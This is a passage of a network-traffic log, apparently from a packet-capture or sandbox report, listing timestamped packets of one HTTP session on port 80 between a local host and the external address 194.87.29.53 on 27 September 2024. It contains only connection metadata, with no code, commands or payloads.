Sep 27, 2024 18:29:08.579829931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579843044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579868078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579881907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579885960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579898119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579926968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579938889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579991102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580002069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580012083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580018044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580029964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580039024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580063105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580081940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580173969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580185890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580216885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580229044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580281973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580293894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580303907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580313921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580323935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580327988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580338955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580349922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580358028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580383062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580394983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580508947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580519915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580530882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580540895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580550909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580550909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580568075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580569029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580583096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580595016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580599070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580611944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580641031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580775976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580786943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580797911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580815077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580820084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580833912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580840111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580846071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580847979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580858946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.580868006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.580902100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581115007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581126928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581136942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581149101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581156969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581161022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581175089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581183910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581187963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581199884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581208944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581212997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581224918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581228018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581238031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581247091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581279993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581559896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581572056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581583977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581593990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581602097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581605911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581618071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581629038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581629992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581640959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581653118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581654072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581664085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581666946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581681013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581693888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581693888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581707954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581720114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581720114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581727028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581731081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581744909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581756115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581757069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581773043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581778049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581784010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.581804037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.581830978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582359076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582401037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582417965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582429886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582457066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582463980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582473040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582474947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582489014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582504988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582530022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582612038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582623959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582634926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582645893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582653999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582659006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582679987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582701921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582770109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582811117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582834005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582847118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582856894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582869053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582879066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582892895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.582899094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582921982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.582943916 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583085060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583096981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583107948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583118916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583127022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583131075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583133936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583142042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583152056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583157063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583163977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583173990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583182096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583184958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583199024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583211899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583237886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583343983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583355904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583380938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583400965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583551884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583563089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583592892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583606005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583616972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583628893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583657980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583672047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583673954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583683968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583694935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583712101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583723068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583734035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583738089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583748102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.583776951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.583787918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.726389885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.726424932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.726443052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.726455927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.726470947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.726473093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.726489067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.726488113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.726502895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.726516008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.726528883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.726543903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.726568937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728034019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728046894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728060007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728091955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728117943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728153944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728167057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728178978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728190899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728198051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728214025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728240013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728297949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728310108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728322029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728332996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728339911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728344917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728355885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728374958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728395939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728568077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728579998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728590012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728601933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728610039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728614092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728626966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728626966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728640079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728652954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728658915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728681087 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728688002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728852034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728893042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728894949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728908062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.728935957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728948116 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.728990078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729001999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729012966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729023933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729032040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729038954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729049921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729068995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729089975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729105949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729147911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729187012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729199886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729211092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729223013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729228020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729238033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729259014 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729409933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729425907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729438066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729449034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729453087 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729461908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729473114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729482889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729511023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729546070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729558945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729585886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729599953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729609013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729612112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729624987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729640961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729656935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729672909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729870081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729882002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729893923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729904890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729913950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729922056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729928970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729940891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729952097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729959011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729964972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729978085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.729984045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.729990005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730003119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730006933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730025053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730047941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730186939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730196953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730226040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730257988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730417967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730454922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730465889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730477095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730478048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730489016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730498075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730500937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730513096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730515003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730525970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730537891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730540991 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730556011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730556965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730571032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730582952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730583906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730596066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730607033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730609894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730619907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730621099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730633020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730643988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730648994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730655909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730668068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730674028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730679989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.730695009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730705976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.730737925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731230021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731240988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731251955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731261015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731271029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731272936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731282949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731282949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731296062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731312990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731316090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731328011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731338024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731338978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731350899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731363058 CEST	80	60865	194.87.29.53	192.168.2.4
